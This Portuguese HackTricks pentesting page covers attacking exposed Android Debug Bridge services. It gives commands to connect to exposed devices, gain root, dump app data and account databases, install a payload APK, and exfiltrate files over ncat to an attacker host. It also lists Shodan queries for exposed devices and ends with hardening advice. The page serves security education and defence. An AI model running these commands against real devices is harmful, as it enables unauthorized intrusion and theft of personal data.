5555 - Android Debug Bridge

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Do documentos:

Android Debug Bridge (adb) é uma ferramenta de linha de comando para se comunicar com dispositivos e emuladores baseados em Android. As ações típicas incluem instalar pacotes, depurar e obter um shell Unix interativo no dispositivo.

  • Porta TCP padrão histórica: 5555 (modo clássico "adb tcpip").
  • A depuração sem fio moderna (Android 11+) usa emparelhamento TLS e descoberta de serviço mDNS. A porta de conexão é dinâmica e descoberta via mDNS; pode não ser 5555. O emparelhamento é feito com adb pair host:port seguido por adb connect. Veja as notas abaixo para implicações ofensivas.

Exemplo de impressão digital nmap:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Conectar

Se você encontrar o ADB exposto e acessível, tente se conectar e enumerar rapidamente:

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • Se o dispositivo impuser autenticação ADB (ro.adb.secure=1), você precisará ser pré-autorizado (autenticação USB RSA) ou usar o emparelhamento de depuração sem fio do Android 11+ (que requer um código de uma única vez exibido no dispositivo).
  • Algumas imagens de fornecedores, builds de engenharia/userdebug, emuladores, TVs, STBs e kits de desenvolvimento expõem adbd sem autenticação ou com adbd rodando como root. Nesses casos, você normalmente cairá diretamente em um shell ou shell root.

Para uma referência geral de comandos ADB, veja:

ADB Commands

Rápida Pós-Exploração

Uma vez que você tenha o shell, valide privilégios e contexto SELinux:

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

Enumerar e capturar dados

  • Liste aplicativos de terceiros e caminhos:
bash
pm list packages -3
pm path <pkg>
  • Se você tiver root (adb root ou su funciona), você pode acessar /data diretamente. Se não, prefira run-as para aplicativos depuráveis:
bash
# Sem root, para um aplicativo depurável
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# Com root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • Artefatos de sistema úteis (root necessário):
  • /data/system/users/0/accounts.db e dados relacionados ao AccountManager
  • /data/misc/wifi/ (configurações/chaves de rede em versões mais antigas)
  • DBs SQLite específicos de aplicativos e shared_prefs em /data/data/

Você pode usar isso para recuperar informações sensíveis (por exemplo, segredos de aplicativos). Para notas sobre considerações de dados do Chrome, veja a questão referenciada aqui.

Execução de código e entrega de payload

  • Instale e conceda permissões de execução automaticamente:
bash
adb install -r -g payload.apk         # -g concede todas as permissões de execução declaradas no manifesto
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • Inicie atividades/serviços/transmissões diretamente:
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

Encaminhamento de porta e pivotagem

Mesmo sem root, adb pode encaminhar portas locais para portas do dispositivo e vice-versa. Isso é útil para acessar serviços vinculados localmente no dispositivo ou para expor serviços do atacante ao dispositivo.

  • Encaminhar host->dispositivo (acessar um serviço local do dispositivo a partir do seu host):
bash
adb forward tcp:2222 tcp:22       # Se o dispositivo executar SSH (por exemplo, Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # Expor o servidor de depuração local do aplicativo
  • Reverter dispositivo->host (deixar o dispositivo acessar um serviço no seu host):
bash
adb reverse tcp:1080 tcp:1080     # Aplicativos do dispositivo agora podem acessar host:1080 como 127.0.0.1:1080
  • Exfiltração de arquivos através de sockets (sem gravações no sdcard):
bash
# No host: escutar
ncat -lvp 9000 > dump.tar
# No dispositivo: enviar diretório como tar (root ou run-as conforme aplicável)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

Depuração Sem Fio (Android 11+)

O Android moderno implementa depuração sem fio protegida por TLS com emparelhamento do lado do dispositivo e descoberta mDNS:

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

Notas

  • As portas são dinâmicas; não assuma 5555. Os nomes de serviços mDNS parecem com:
  • _adb-tls-pairing._tcp (pareamento)
  • _adb-tls-connect._tcp (conexão pareada)
  • _adb._tcp (legado/simples)
  • Se o mDNS estiver filtrado, a habilitação clássica assistida por USB ainda pode funcionar em algumas versões: adb tcpip 5555 então adb connect <ip>:5555 (até reinicialização).

Implicações ofensivas: se você puder interagir com a interface do dispositivo (por exemplo, acesso físico ou configuração incorreta de MDM móvel) para habilitar a depuração sem fio e visualizar o código de pareamento, você pode estabelecer um canal ADB pareado de longa duração sem um cabo. Alguns OEMs expõem ADB sobre TCP em imagens de engenharia/desenvolvimento sem pareamento—sempre verifique.

Fortalecimento / Detecção

Os defensores devem assumir que qualquer adbd (TCP) acessível é um risco crítico.

  • Desative o ADB e a depuração sem fio quando não forem necessários. Revogue as autorizações de depuração USB nas opções de desenvolvedor.
  • Certifique-se de que a política de rede bloqueie TCP/5555 de entrada e a descoberta ADB baseada em mDNS em segmentos não confiáveis.
  • Em dispositivos sob seu controle:
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # desabilitar escuta TCP (ou use: adb usb)
stop adbd; start adbd             # reiniciar daemon
  • Monitore registros mDNS _adb._tcp, _adb-tls-connect._tcp, _adb-tls-pairing._tcp em redes corporativas e alertas para ouvintes 5555 inesperados.
  • Faça um inventário de versões inseguras: getprop ro.debuggable, ro.build.type, e ro.adb.secure.

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

Referências

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks